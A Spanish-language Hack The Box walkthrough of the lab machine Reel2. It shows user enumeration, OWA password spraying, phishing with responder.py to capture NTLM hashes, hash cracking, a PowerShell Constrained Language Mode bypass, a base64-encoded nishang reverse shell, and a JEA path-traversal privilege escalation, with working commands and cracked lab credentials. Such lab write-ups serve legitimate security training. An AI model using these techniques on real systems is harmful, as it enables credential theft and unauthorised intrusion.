HTB-Reel2
IP -> 10.10.10.210
Reconocimiento
Nmap
Utilizamos nmap y obtenemos los siguientes resultados.
No vemos el servicio SMB aunque si encontramos el servicio winrm disponible.
http:80
403 Forbidden
https:443
wappalizer
Microsoft IIS 8.5
Fuzz
Utilizamos herramientas como gobuster o wfuzz para numerar directorios.
/owa -> Servicio de correo.
Pero necesitamos credenciales válidas, probamos con algunas de las comunes pero no conseguimos nada.
http:8080
Tenemos otro panel de login, aunque esta vez podemos registrarnos, nos registramos e iniciamos en nuestra cuenta, el panel que se nos muestra es un panel similar a un facebook.
En el panel de búsqueda, buscamos algo y vemos que los que buscamos se tramita por la url, lo cambiamos a “” (nada) para ver que pasa, tratando de que nos muestre todos los usuarios. Lo conseguimos y nos montamos un diccionario de nombres y apellidos.
users
Explotación
https:443
Para realizar fuerza bruta al panel de inicio de sesión de correo electrónico utilizamos la herramienta SprayingToolkit, herramienta diseñada por el mismo creador que Crackmapexec. Utilizaremos el atomizer.py para realizar la fuerza bruta. Aunque el mismo kit no incluye otra herramineta para jugar con los nombres y apellidos y hacer posibles nombres de usuario, esta otra herramienta es spindrift.py.
python3 spindrift.py users --format {first}{last} # Nombre + apellido
python3 spindrift.py users --format {f}{last} # Nombre[0] + apellido
python3 spindrift.py users --format {f}.{last} # Nombre[0] + "." + apellido
python3 atomizer.py owa 10.10.10.210 'Summer2020' users # Por lo que encontramos en la descripción de un usuario probamos esta contraseña
python3 atomizer.py owa 10.10.10.210 /usr/share/wordlists/rockyou.txt users
USER: s.svensson PASS: Summer2020
Evil-winrm
Nos conectamos con la herramienta [evil-winrm]((/winrm/)
http:443
Utilizamos las credenciales para iniciar sesión en el owa. Como el texto está en Suizo, vamos a utilizar chromium para que nos traduzca el contenido. Buscamos mensjaes enviado, en borradores, papelera, bandeja de entrada. Pero no encontramos nada. Enviamos un correo a todos los usuarios con una url, para ver si alguno de los usuarios abre el link. Nos llega una petición POST. Nos ponemos en escucha no netcat para ver las cabeceras que nos envían. Pero no vemos ninguna cookie de sessión. Vamos a tratar de envenenar el tráfico con responder.py.
responder.py -I tun0
Vamos a volver a enviar un mensaje a todos los usuarios, para que accedan de nuevo a un recurso http. Pero esta vez al estar con el responder.py, conseguimos un hash netNTLMv2.
john + rockyou.txt
Utilizamos john junto con el rockyou.txt. Y obtenemos una contraseña.
USER: k.svensson PASS: kittycat1
Evil-winrm
Nos conectamos con la herramienta [evil-winrm]((/winrm/)
powershell
Para solucionar esto vamos a conectarnos con la powershell de linux.
pwsh
$pass = ConvertTo-SecureString 'kittycat1' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('htb.local\k.svensson', $pass)
Enter-PSSession -ComputerName 10.10.10.210 -Credential $cred -Authentication Negotiate
Nos conecta, pero nos muestra errores, aunque son errores de que no encuentra el comando, Get-Command
nos muestra qué comandos podemos usar. Esta limitación puede ser porque nos encontramos en un Constrained Language Mode. Buscamos como comprobar si estamos limitado en google, ejecutamos el comando para comprobarlo y vemos que estamos limitados. Toca bypassearlo.
Para bypassear el CLM, creamos una función y la ejecutamos.
function location{ Get-Location }; location
Y bypasseado. Aunque para escapar del contexto y operar cómodamente, nos ponemos en escucha con nc y rlwrap. Para este caso, utilizamos el repositorio de nishang. Y utilizamos el Invoke-PowerShellTcpOnelLine.ps1, nos copiamos la 3ª linea comentada, cambiamos la ip y jugamos con base64 para enviarlo. Pero al ser windows tenemos que aplicar un tratamiento no visible a simple vista.
cat data | iconv -t utf-16le | base64 -w 0;echo
Bajo un script block en la consola powershell con CLM:
&{ powershell -enc <data>}
user.txt
User Pivoting
OS
dir
cd ..\Documents
dir
type jea_test_account.psrc | select-string -NotMatch "^#"
net user jea_test_account
cd ..
dir -Force
cd AppData\Roaming
cd stickynotes
dir -recurse | select-string "jea_test_account"
cd Local\ Storage\leveldb
type 000003.log | Format-Hex
Desktop\Sticky Notes.lnk -> Notas Documents\jea_test_account.psrc -> Configuration file USER: jea_test_account PASS: Ab!Q@vcg^%@#1
Evil-winrm
Nos conectamos con la herramienta [evil-winrm]((/winrm/)
Powershell
Nos volvemos a autenticar con [winrm. Pero nos dice access denied. Como hemos encontrado un archivo de configuración y el Enter-PSSession
tiene un parámetro para proporcionar ese arhcivo, vamos a ponerlo.
Enter-PSSession -ComputerName 10.10.10.210 -Credential $cred -Authentication Negotiate -ConfigurationName jea_test_account
Conectado.
PrivEsc
OS
Get-Command
Podemos ejecutar el Check-File
Con esta función podemos listar archivos, aunque no sabemos qué privilegios tenemos a la hora de listar, como utiliza una wild-card, podemos abusar de esto haciendo path traversal
Check-File C:\ProgramData\..\Users\Administrator\Desktop\root.txt
root.txt
Escrito el 15-12-2021 a las 05:31 pm por creep33.